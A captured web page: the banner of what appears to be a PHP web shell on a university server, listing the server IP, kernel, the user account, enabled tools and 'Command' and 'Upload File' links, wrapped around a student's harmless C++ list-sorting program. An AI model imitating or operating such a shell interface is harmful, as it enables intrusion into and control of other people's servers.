Server IP : 172.16.15.8 / Your IP : 3.147.68.201 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/aredwards/CS212/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Play with integer list and operations // - insert, output, quit .. // #include <iostream> // for endl, setw, fixed, ... #include <vector> // for vector class template #include <algorithm> // for sort(...) for vector objects using namespace std; // for cin/cout void menu(); int main() { vector<int> myList; int temp; char ch; menu(); cin >> ch; while( tolower(ch) != 'q') { // debug - cout << "You choose - " << ch; if( tolower(ch) == 'i') { cout << "\n\nPlease type the number: "; cin >> temp; myList.push_back(temp); cout << "\n" << temp << " is inserted to the list.\n"; } else if( tolower(ch) == 'p') { cout << "\nThe list is: "; for(int i=0; i<myList.size(); i++) cout << myList[i] << " "; cout << endl; } else if( tolower(ch) == 's') { sort(myList.begin(), myList.end() ); cout << "\nThe list is sorted.\n"; } else if ( tolower(ch) == 'd') { sort(myList.begin(), myList.end(), greater<int>() ); cout << "\nThe list is sorted to descending order.\n"; } menu(); cin >> ch; } cout << "\n\n\n\nDone.\n\n\n\n"; return 0; } void menu() { cout << "\n\n List Game\n"; cout << "-------------------------------------\n"; cout << "I Insert an integer.\n"; cout << "P Print the list.\n"; cout << "S Sort to ascending order.\n"; cout << "D sort to descending order.\n"; cout << "Q Quit.\n"; cout << "======================================\n"; cout << "Your choice: "; }